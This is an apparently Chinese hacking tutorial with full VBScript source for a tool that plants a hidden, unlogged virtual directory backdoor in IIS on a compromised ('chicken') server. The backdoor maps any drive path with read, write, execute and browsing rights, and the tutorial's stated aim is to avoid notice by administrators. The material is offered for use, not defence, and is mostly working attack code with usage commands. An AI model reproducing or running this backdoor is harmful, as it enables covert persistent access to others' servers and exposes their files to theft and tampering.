直接在肉鸡的iis中建立自己的虚拟目录或者站点肯定是很容易被发现的。严重的还会引起管理员重视，
导致失去自己的肉鸡。今天教大家怎么在肉鸡的iis中建立自己的隐藏的虚拟目录。
-------------------------------------------------------------------------------------------

需要工具：

1. iis.vbs

在教程包中会提供所有的工具！
-------------------------------------------------------------------------------------------

使用方法：
1. 把iis.vbs上传至肉鸡

2. 然后在把cmd切换至iis.vbs所在目录，输入cscript.exe iis.vbs 虚拟目录的名称 映射目录的路径

例如：
cscript.exe iis.vbs 3800cc c:

3. 会显示创建后门的详细过程

-------------------------------------------------------------------------------------------
把下面的内容保存为后缀为VBS的脚本文件。

-------------------------------------------------------------------------------------------

help1="IIS后门设置器 FOR WIN2000 BY jiangchuan  10月10号2004 年"
help2="请输入正确的虚拟目录名称和映射的路径,格式如下"
help3="      cscript.exe iis.vbs 虚拟目录的名称  映射的路径"
help4="例如: cscript.exe iis.vbs lh e:\"

set Args = Wscript.Arguments
 if args.count < 2 then
    wscript.echo help1
    wscript.echo ""
    wscript.echo help2
    wscript.echo ""
    wscript.echo help3
    wscript.echo ""
    wscript.echo help4
    wscript.quit
 end if

strVRName=args(0) ''虚拟目录名称
strRootPath=args(1) ''虚拟目录路径

Set checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root")
  For each VR in checkVirtualDir
   if VR.Name="webvw" Then
     foundt ="yes"
   else
     foundt= "no"
   End If
  Next

if foundt ="yes" then
  wscript.echo "发现已经创建了webvw目录，正在设置自定义的虚拟目录"
  creatvdir
else
  wscript.echo "正在创建webvw目录，以及自定义文件夹，请等待！"
  creatwebvw
  creatvdir
end if

wscript.echo "你创建的虚拟目录名称是"& strVRName &"，映射的文件夹是 " & strRootPath &"。"
wscript.echo "请访问http://IP/webvw/"& strVRName &"/ 来连接后门!"
wscript.echo "恭喜!后门设置全部完成!" 
sub creatwebvw()
    Set objDir=GetObject("IIS://LocalHost/W3SVC/1/Root") 
       Set myDir=objDir.Create("IISWebVirtualDir","webvw")
        myDir.AccessRead=true
        myDir.DefaultDoc=mydir.DefaultDoc
        myDir.AppIsolated=0
        myDir.AccessExecute=true 
        myDir.DontLog=true
        myDir.AccessSource=true
        myDir.EnableDirBrowsing=true
        myDir.setinfo
end sub
sub creatvdir()
    Set objVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root/webvw")
      Set VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName)
       VirDir.AccessRead=true
       VirDir.Path=strRootPath
       VirDir.DefaultDoc=""
       VirDir.AccessExecute=true
       VirDir.AccessWrite=true
       VirDir.AccessSource=true 
       VirDir.AppIsolated=0 
       VirDir.DontLog=true 
       VirDir.EnableDirBrowsing=true 
       VirDir.appcreate 0 
       VirDir.CreateProcessAsUser=0
       VirDir.setInfo
end sub
wscript.quit